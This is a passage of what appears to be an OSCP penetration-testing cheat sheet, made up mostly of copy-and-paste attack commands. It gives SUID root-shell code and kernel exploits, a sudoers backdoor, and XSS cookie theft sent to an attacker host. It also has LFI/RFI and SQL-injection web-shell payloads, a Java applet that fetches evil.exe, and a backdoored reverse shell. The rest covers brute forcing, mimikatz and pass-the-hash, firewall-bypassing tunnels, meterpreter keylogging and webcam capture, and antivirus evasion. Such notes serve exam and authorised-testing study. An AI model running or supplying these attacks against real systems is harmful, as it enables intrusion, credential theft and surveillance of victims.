  633. wget -O exploit.c http://www.exploit-db.com/download/18411
  634. gcc -o mempodipper exploit.c
  635. ./mempodipper
  636. CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
  637. https://dirtycow.ninja/
  638. First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016
  639. ./cow32
  640. DirtyCow root privilege escalation
  641. Backing up /usr/bin/passwd.. to /tmp/bak
  642. Size of binary: 45420
  643. Racing, this may take a while..
  644. thread stopped
  645. thread stopped
  646. /usr/bin/passwd is overwritten
  647. Popping root shell.
  648. Run a command as a user other than root
  649. sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf
  650. Add a user or change a password
  651. /usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor
  652. echo thePassword | passwd haxzor --stdin
  653. Local Privilege Escalation Exploit in Linux
  654. SUID (Set owner User ID up on execution)
  655. Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.
  656. below are some quick copy and paste examples for various shells:
  657. SUID C Shell for /bin/bash
  658. int main(void){
  659. setresuid(0, 0, 0);
  660. system("/bin/bash");
  661. }
  662. SUID C Shell for /bin/sh
  663. int main(void){
  664. setresuid(0, 0, 0);
  665. system("/bin/sh");
  666. }
  667. Building the SUID Shell binary
  668. gcc -o suid suid.c
  669. For 32 bit:
  670. gcc -m32 -o suid suid.c
  671. Create and compile an SUID from a limited shell (no file transfer)
  672. echo "int main(void){\nsetgid(0); setuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c
  673. gcc privsc.c -o privsc
  674. Add users to Root SUDO group with no password requirement
  675. echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
  676. SearchSploit
  677. searchsploit –uncsearchsploit apache 2.2
  678. searchsploit "Linux Kernel"
  679. searchsploit linux 2.6 | grep -i ubuntu | grep local
  680. searchsploit slmail
  681. Kernel Exploit Suggestions for Kernel Version 3.0.0
  682. ./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0
  683. Precompiled Linux Kernel Exploits - Super handy if GCC is not installed on the target machine!
  684. https://www.kernel-exploits.com/
  685. Collect root password
  686. cat /etc/shadow |grep root
  687. Find and display the proof.txt or flag.txt - LOOT! `cat ``find / -name proof.txt -print```
  688. Windows Privilege Escalation
  689. Windows Privilege Escalation resource http://www.fuzzysecurity.com/tutorials/16.html
  690. Try the getsystem command using meterpreter - rarely works but is worth a try. meterpreter > getsystem
  691. Metasploit Meterpreter Privilege Escalation Guide https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
  692. Windows MS11-080 - http://www.exploit-db.com/exploits/18176/
  693. python pyinstaller.py --onefile ms11-080.py
  694. mx11-080.exe -O XP
  695. Powershell Priv Escalation Tools https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
  696. Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to privilege escalation. You can replace the executable with your own and have windows execute whatever code you want as the privileged user.
  697. icacls scsiaccess.exe
  698. scsiaccess.exe
  699. NT AUTHORITY\SYSTEM:(I)(F)
  700. BUILTIN\Administrators:(I)(F)
  701. BUILTIN\Users:(I)(RX)
  702. APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
  703. Everyone:(I)(F)
  704. Compile a custom add user command in windows using C
  705. root@kali:~# cat useradd.c
  706. #include <stdlib.h> /* system, NULL, EXIT_FAILURE */
  707. int main ()
  708. {
  709. int i;
  710. i=system ("net localgroup administrators low /add");
  711. return 0;
  712. }
  713. i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
  714. Group Policy Preferences (GPP)
  715. A common useful misconfiguration found in modern domain environments is unprotected Windows GPP settings files
  716. map the Domain controller SYSVOL share
  717. net use z: \\dc01\SYSVOL
  718. Find the GPP file: Groups.xml
  719. dir /s Groups.xml
  720. Review the contents for passwords
  721. type Groups.xml
  722. Decrypt using GPP Decrypt
  723. gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB
  724. Find and display the proof.txt or flag.txt - get the loot! #meterpreter > run post/windows/gather/win_privs
  725. cd\ & dir /b /s proof.txt type c:\pathto\proof.txt
  726. Client, Web and Password Attacks
  727. Client Attacks
  728. MS12-037- Internet Explorer 8 Fixed Col Span ID
  729. wget -O exploit.html http://www.exploit-db.com/download/24017
  730. service apache2 start
  731. JAVA Signed Jar client side attack
  732. echo '<applet width="1" height="1" id="Java Secure" code="Java.class" archive="SignedJava.jar"><param name="1" value="http://$ip:80/evil.exe"></applet>' > /var/www/html/java.html
  733. User must hit run on the popup that occurs.
  734. Linux Client Shells
  735. http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
  736. Setting up the Client Side Exploit
  737. Swapping Out the Shellcode
  738. Injecting a Backdoor Shell into Plink.exe
  739. backdoor-factory -f /usr/share/windows-binaries/plink.exe -H $ip -P 4444 -s reverse_shell_tcp
  740. Web Attacks
  741. Web Shag Web Application Vulnerability Assessment Platform
  742. webshag-gui
  743. Web Shells
  744. http://tools.kali.org/maintaining-access/webshells
  745. ls -l /usr/share/webshells/
  746. Generate a PHP backdoor (generate) protected with the given password (s3cr3t)
  747. weevely generate s3cr3t
  748. weevely http://$ip/weevely.php s3cr3t
  749. Java Signed Applet Attack
  750. HTTP / HTTPS Webserver Enumeration
  751. OWASP Dirbuster
  752. nikto -h $ip
  753. Essential Iceweasel Add-ons
  754. Cookies Manager https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/
  755. Tamper Data
  756. https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
  757. Cross Site Scripting (XSS)
  758. significant impacts, such as cookie stealing and authentication bypass, redirecting the victim’s browser to a malicious HTML page, and more
  759. Browser Redirection and IFRAME Injection
  760. <iframe SRC="http://$ip/report" height = "0" width ="0"></iframe>
  761. Stealing Cookies and Session Information
  762. <script>
  763. new image().src="http://$ip/bogus.php?output="+document.cookie;
  764. </script>
  765. nc -nlvp 80
  766. File Inclusion Vulnerabilities
  767. Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code.
  768. fimap - There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI):
  769. https://github.com/kurobeats/fimap
  770. Gaining a shell from phpinfo()
  771. fimap + phpinfo() Exploit - If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.
  772. For Local File Inclusions look for the include() function in PHP code.
  773. include("lang/".$_COOKIE['lang']);
  774. include($_GET['page'].".php");
  775. LFI - Encode and Decode a file using base64
  776. curl -s http://$ip/?page=php://filter/convert.base64-encode/resource=index | grep -e '[^\ ]\{40,\}' | base64 -d
  777. LFI - Download file with base 64 encoding
  778. http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php
  779. LFI Linux Files:
  780. /etc/issue
  781. /proc/version
  782. /etc/profile
  783. /etc/passwd
  784. /etc/passwd
  785. /etc/shadow
  786. /root/.bash_history
  787. /var/log/dmessage
  788. /var/mail/root
  789. /var/spool/cron/crontabs/root
  790. LFI Windows Files:
  791. %SYSTEMROOT%\repair\system
  792. %SYSTEMROOT%\repair\SAM
  793. %SYSTEMROOT%\repair\SAM
  794. %WINDIR%\win.ini
  795. %SYSTEMDRIVE%\boot.ini
  796. %WINDIR%\Panther\sysprep.inf
  797. %WINDIR%\system32\config\AppEvent.Evt
  798. LFI OSX Files:
  799. /etc/fstab
  800. /etc/master.passwd
  801. /etc/resolv.conf
  802. /etc/sudoers
  803. /etc/sysctl.conf
  804. LFI - Download passwords file
  805. http://$ip/index.php?page=/etc/passwd
  806. http://$ip/index.php?file=../../../../etc/passwd
  807. LFI - Download passwords file with filter evasion
  808. http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
  809. Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte
  810. GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00
  811. Contaminating Log Files <?php echo shell_exec($_GET['cmd']);?>
  812. For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files /etc/php5/cgi/php.ini - “allow_url_fopen” and “allow_url_include both set to “on”
  813. include($_REQUEST["file"].".php");
  814. Remote File Inclusion
  815. http://$ip/addguestbook.php?name=a&comment=b&LANG=http://$localip/evil.txt
  816. <?php echo shell_exec("ipconfig");?>
  817. Database Vulnerabilities
  818. MySQL SQL
  819. Grab password hashes from a web application mysql database called “Users” - once you have the MySQL root username and password
  820. mysql -u root -p -h $ip
  821. use "Users"
  822. show tables;
  823. select * from users;
  824. Authentication Bypass
  825. name='wronguser' or 1=1;#
  826. name='wronguser' or 1=1 LIMIT 1;#
  827. Enumerating the Database
  828. http://$ip/comment.php?id=738’
  829. Verbose error message?
  830. http://$ip/comment.php?id=738 order by 1
  831. http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6
  832. Determine MySQL Version:
  833. http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6
  834. current user being used for the database connection
  835. http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6
  836. we can enumerate database tables and column structures
  837. http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables
  838. target the users table in the database
  839. http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'
  840. extract the name and password
  841. http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users
  842. Create a backdoor
  843. http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'
  844. SQLMap Examples
  845. Crawl the links
  846. sqlmap -u http://$ip --crawl=1
  847. sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3
  848. SQLMap Search for databases against a suspected GET SQL Injection point ‘search’**
  849. sqlmap –u http://$ip/blog/index.php?search –dbs
  850. SQLMap dump tables from database oscommerce at GET SQL injection point ‘search’ sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps
  851. SQLMap GET Parameter command
  852. sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5
  853. SQLMap Post Username parameter sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --dump-all
  854. SQL Map OS Shell sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell
  855. sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --os-shell
  856. Automated sqlmap scan
  857. sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE
  858. --level=3 --current-user --current-db --passwords
  859. --file-read="/var/www/blah.php"
  860. Targeted sqlmap scan
  861. sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump
  862. Scan url for union + error based injection with mysql backend
  863. and use a random user agent + database dump
  864. sqlmap -o -u http://$ip/index.php --forms --dbs
  865. sqlmap -o -u "http://$ip/form/" --forms
  866. sqlmap check form for injection
  867. sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump
  868. sqlmap dump and crack hashes for table users on database-name.
  869. Enumerate databases
  870. sqlmap --dbms=mysql -u "$URL" --dbs
  871. Enumerate tables from a specific database
  872. sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables
  873. Dump table data from a specific database and table
  874. sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump
  875. Specify parameter to exploit
  876. sqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2" --dbs -p param2
  877. Specify parameter to exploit in 'nice' URIs
  878. sqlmap --dbms=mysql -u "http://www.example.com/param1/value1\*/param2/value2" --dbs # exploits param1
  879. Get OS shell
  880. sqlmap --dbms=mysql -u "$URL" --os-shell
  881. Get SQL shell
  882. sqlmap --dbms=mysql -u "$URL" --sql-shell
  883. SQL query
  884. sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"
  885. Use Tor Socks5 proxy
  886. sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs
  887. Password Attacks
  888. AES Decryption
  889. http://aesencryption.net/
  890. Convert multiple webpages into a word list
  891. for x in 'index' 'about' 'post' 'contact' ; do curl http://$ip/$x.html | html2markdown | tr -s ' ' '\n' >> webapp.txt ; done
  892. Or convert html to word list dict
  893. html2dic index.html.out | sort -u > index-html.dict
  894. Default Usernames and Passwords
  895. CIRT
  896. http://www.cirt.net/passwords
  897. Government Security - Default Logins and Passwords for Networked Devices
  898. http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php
  899. Virus.org
  900. http://www.virus.org/default-password/
  901. Default Password
  902. http://www.defaultpassword.com/
  903. Brute Force
  904. Nmap Brute forcing Scripts
  905. https://nmap.org/nsedoc/categories/brute.html
  906. Nmap Generic auto detect brute force attack
  907. nmap --script brute -Pn <target.com or ip> <enter>
  908. MySQL nmap brute force attack
  909. nmap --script=mysql-brute $ip
  910. Dictionary Files
  911. Word lists on Kali
  912. cd /usr/share/wordlists
  913. Key-space Brute Force
  914. crunch 6 6 0123456789ABCDEF -o crunch1.txt
  915. crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha
  916. crunch 8 8 -t ,@@^^%%%
  917. Pwdump and Fgdump - Security Accounts Manager (SAM)
  918. pwdump.exe - attempts to extract password hashes
  919. fgdump.exe - attempts to kill local antiviruses before attempting to dump the password hashes and cached credentials.
  920. Windows Credential Editor (WCE)
  921. allows one to perform several attacks to obtain clear text passwords and hashes
  922. wce -w
  923. Mimikatz
  924. extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets
  925. https://github.com/gentilkiwi/mimikatz From metasploit meterpreter (must have System level access): meterpreter> load mimikatz meterpreter> help mimikatz meterpreter> msv meterpreter> kerberos meterpreter> mimikatz_command -f samdump::hashes meterpreter> mimikatz_command -f sekurlsa::searchPasswords
  926. Password Profiling
  927. cewl can generate a password list from a web page
  928. cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt
  929. Password Mutating
  930. John the ripper can mutate password lists
  931. nano /etc/john/john.conf
  932. john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt
  933. Medusa
  934. Medusa, initiated against an htaccess protected web directory
  935. medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10
  936. Ncrack
  937. ncrack (from the makers of nmap) can brute force RDP
  938. ncrack -vv --user offsec -P password-file.txt rdp://$ip
  939. Hydra
  940. Hydra brute force against SNMP
  941. hydra -P password-file.txt -v $ip snmp
  942. Hydra FTP known user and password list
  943. hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp
  944. Hydra SSH using list of users and passwords
  945. hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh
  946. Hydra SSH using a known password and a username list
  947. hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh
  948. Hydra SSH Against Known username on port 22 hydra $ip -s 22 ssh -l <user> -P big\_wordlist.txt
  949. Hydra POP3 Brute Force
  950. hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V
  951. Hydra SMTP Brute Force
  952. hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V
  953. Hydra attack http get 401 login with a dictionary
  954. hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin
  955. Hydra attack Windows Remote Desktop with rockyou hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip
  956. Password Hash Attacks
  957. Online Password Cracking
  958. https://crackstation.net/
  959. Hashcat running on
  960. Sample Hashes
  961. http://openwall.info/wiki/john/sample-hashes
  962. Identify Hashes
  963. hash-identifier
  964. Crask linux hashes you must first unshadow them:
  965. unshadow passwd-file.txt shadow-file.txt
  966. unshadow passwd-file.txt shadow-file.txt > unshadowed.txt
  967. John the Ripper - Password Hash Cracking
  968. john $ip.pwdump
  969. john --wordlist=/usr/share/wordlists/rockyou.txt hashes
  970. john --rules --wordlist=/usr/share/wordlists/rockyou.txt
  971. john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
  972. JTR forced descrypt cracking with wordlist
  973. john --format=descrypt --wordlist
  974. /usr/share/wordlists/rockyou.txt hash.txt
  975. JTR forced descrypt brute force cracking
  976. john --format=descrypt hash --show
  977. Passing the Hash in Windows
  978. Use Metasploit to exploit one of the SMB servers in the labs. Dump the password hashes and attempt a pass-the-hash attack against another system:
  979. export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
  980. pth-winexe -U administrator //$ip cmd
  981. Networking, Pivoting and Tunneling
  982. Port Forwarding - accept traffic on a given IP address and port and redirect it to a different IP address and port
  983. apt-get install rinetd
  984. cat /etc/rinetd.conf
  985. # bindadress bindport connectaddress connectport
  986. w.x.y.z 53 a.b.c.d 80
  987. SSH Local Port Forwarding: supports bi-directional communication channels
  988. ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
  989. SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network
  990. ssh <gateway> -R <remote port to bind>:<local host>:<local port>
  991. SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT
  992. ssh -D <local proxy port> -p <remote port> <target>
  993. Proxychains - Perform nmap scan within a DMZ from an external computer
  994. Create reverse SSH tunnel from Popped machine on :2222
  995. ssh -f -N -R 2222:$ip:22 root@$ip
  996. Create a Dynamic application-level port forward on 8080 thru 2222
  997. ssh -f -N -D $ip:8080 -p 2222 hax0r@$ip
  998. Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains
  999. proxychains nmap --top-ports=20 -sT -Pn $ip/24
  1000. HTTP Tunneling
  1001. nc -vvn $ip 8888
  1002. Traffic Encapsulation - Bypassing deep packet inspection
  1003. http_tunnel
  1004. On server side:
  1005. sudo hts -F <server_ip_addr>:<port_of_your_app> 80
  1006. On client side:
  1007. sudo htc -P <my_proxy.com:proxy_port> -F <port_of_your_app> <server_ip_addr>:80
  1008. stunnel
  1009. Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network
  1010. Tunnel on port 22
  1011. plink -l root -pw pass -R 3389:$ip:3389 $ip
  1012. Port 22 blocked? Try port 80? or 443?
  1013. plink -l root -pw 23847sd98sdf987sf98732 -R 3389:$ip:3389 $ip -P 80
  1014. Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)
  1015. Windows machine add required firewall rules without prompting the user
  1016. netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes
  1017. netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000
  1018. netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080
  1019. netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079
  1020. Start the http tunnel client
  1021. httptunnel_client.exe
  1022. Create HTTP reverse shell by connecting to localhost port 3000
  1023. plink -l root -pw 23847sd98sdf987sf98732 -R 3389:$ip:3389 $ip -P 3000
  1024. VLAN Hopping
  1025. git clone https://github.com/nccgroup/vlan-hopping.git
  1026. chmod 700 frogger.sh
  1027. ./frogger.sh
  1028. VPN Hacking
  1029. Identify VPN servers:
  1030. ./udp-protocol-scanner.pl -p ike $ip
  1031. Scan a range for VPN servers:
  1032. ./udp-protocol-scanner.pl -p ike -f ip.txt
  1033. Use IKEForce to enumerate or dictionary attack VPN servers:
  1034. pip install pyip
  1035. git clone https://github.com/SpiderLabs/ikeforce.git
  1036. Perform IKE VPN enumeration with IKEForce:
  1037. ./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
  1038. Bruteforce IKE VPN using IKEForce:
  1039. ./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
  1040. Use ike-scan to capture the PSK hash:
  1041. ike-scan
  1042. ike-scan TARGET-IP
  1043. ike-scan -A TARGET-IP
  1044. ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
  1045. ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
  1046. Use psk-crack to crack the PSK hash
  1047. psk-crack hash-file.txt
  1048. pskcrack
  1049. psk-crack -b 5 TARGET-IPkey
  1050. psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
  1051. psk-crack -d /path/to/dictionary-file TARGET-IP-key
  1052. PPTP Hacking
  1053. Identifying PPTP, it listens on TCP: 1723
  1054. NMAP PPTP Fingerprint:
  1055. nmap –Pn -sV -p 1723 TARGET(S)
  1056. PPTP Dictionary Attack
  1057. thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
  1058. Port Forwarding/Redirection
  1059. PuTTY Link tunnel - SSH Tunneling
  1060. Forward remote port to local address:
  1061. plink.exe -P 22 -l root -pw "1337" -R 445:$ip:445 $ip
  1062. SSH Pivoting
  1063. SSH pivoting from one network to another:
  1064. ssh -D $ip:1010 -p 22 user@$ip
  1065. DNS Tunneling
  1066. dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the target machine.
  1067. Attacking Machine Installation:
  1068. apt-get update
  1069. apt-get -y install ruby-dev git make g++
  1070. gem install bundler
  1071. git clone https://github.com/iagox86/dnscat2.git
  1072. cd dnscat2/server
  1073. bundle install
  1074. Run dnscat2:
  1075. ruby ./dnscat2.rb
  1076. dnscat2> New session established: 1422
  1077. dnscat2> session -i 1422
  1078. Target Machine:
  1079. https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/
  1080. dnscat --host <dnscat server_ip>
  1081. The Metasploit Framework
  1082. See Metasploit Unleashed Course in the Essentials
  1083. Search for exploits using Metasploit GitHub framework source code:
  1084. https://github.com/rapid7/metasploit-framework
  1085. Translate them for use on OSCP LAB or EXAM.
  1086. Metasploit
  1087. MetaSploit requires Postfresql
  1088. systemctl start postgresql
  1089. To enable Postgresql on startup
  1090. systemctl enable postgresql
  1091. MSF Syntax
  1092. Start metasploit
  1093. msfconsole
  1094. msfconsole -q
  1095. Show help for command
  1096. show -h
  1097. Show Auxiliary modules
  1098. show auxiliary
  1099. Use a module
  1100. use auxiliary/scanner/snmp/snmp_enum
  1101. use auxiliary/scanner/http/webdav_scanner
  1102. use auxiliary/scanner/smb/smb_version
  1103. use auxiliary/scanner/ftp/ftp_login
  1104. use exploit/windows/pop3/seattlelab_pass
  1105. Show the basic information for a module
  1106. info
  1107. Show the configuration parameters for a module
  1108. show options
  1109. Set options for a module
  1110. set RHOSTS $ip-254
  1111. set THREADS 10
  1112. Run the module
  1113. run
  1114. Execute an Exploit
  1115. exploit
  1116. Search for a module
  1117. search type:auxiliary login
  1118. Metasploit Database Access
  1119. Show all hosts discovered in the MSF database
  1120. hosts
  1121. Scan for hosts and store them in the MSF database
  1122. db_nmap
  1123. Search machines for specific ports in MSF database
  1124. services -p 443
  1125. Leverage MSF database to scan SMB ports (auto-completed rhosts)
  1126. services -p 443 --rhosts
  1127. Staged and Non-staged
  1128. Non-staged payload - is a payload that is sent in its entirety in one go
  1129. Staged - sent in two parts
  1130. Not have enough buffer space
  1131. Or need to bypass antivirus
  1132. Experimenting with Meterpreter
  1133. Get system information from Meterpreter Shell
  1134. sysinfo
  1135. Get user id from Meterpreter Shell
  1136. getuid
  1137. Search for a file
  1138. search -f *pass*.txt
  1139. Upload a file
  1140. upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec
  1141. Download a file
  1142. download c:\\Windows\\system32\\calc.exe /tmp/calc.exe
  1143. Invoke a command shell from Meterpreter Shell
  1144. shell
  1145. Exit the meterpreter shell
  1146. exit
  1147. Metasploit Exploit Multi Handler
  1148. multi/handler to accept an incoming reverse_https_meterpreter payload
  1149. use exploit/multi/handler
  1150. set PAYLOAD windows/meterpreter/reverse_https
  1151. set LHOST $ip
  1152. set LPORT 443
  1153. exploit
  1154. [*] Started HTTPS reverse handler on https://$ip:443/
  1155. Building Your Own MSF Module
  1156. mkdir -p ~/.msf4/modules/exploits/linux/misc
  1157. cd ~/.msf4/modules/exploits/linux/misc
  1158. cp /usr/share/metasploitframework/modules/exploits/linux/misc/gld_postfix.rb ./crossfire.rb
  1159. nano crossfire.rb
  1160. Post Exploitation with Metasploit
  1161. download Download a file or directory
  1162. upload Upload a file or directory
  1163. portfwd Forward a local port to a remote service
  1164. route View and modify the routing table
  1165. keyscan_start Start capturing keystrokes
  1166. keyscan_stop Stop capturing keystrokes
  1167. screenshot Grab a screenshot of the interactive desktop
  1168. record_mic Record audio from the default microphone for X seconds
  1169. webcam_snap Take a snapshot from the specified webcam
  1170. getsystem Attempt to elevate your privilege to that of local system.
  1171. hashdump Dumps the contents of the SAM database
  1172. Meterpreter Post Exploitation Features
  1173. Create a Meterpreter background session
  1174. background
  1175. Bypassing Antivirus Software
  1176. Crypting Known Malware with Software Protectors
  1177. One such open source crypter, called Hyperion
  1178. cp /usr/share/windows-binaries/Hyperion-1.0.zip
  1179. unzip Hyperion-1.0.zip
  1180. cd Hyperion-1.0/
  1181. i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe
  1182. cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll .
  1183. cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll .
  1184. wine hyperion.exe ../backdoor.exe ../crypted.exe

comments powered by Disqus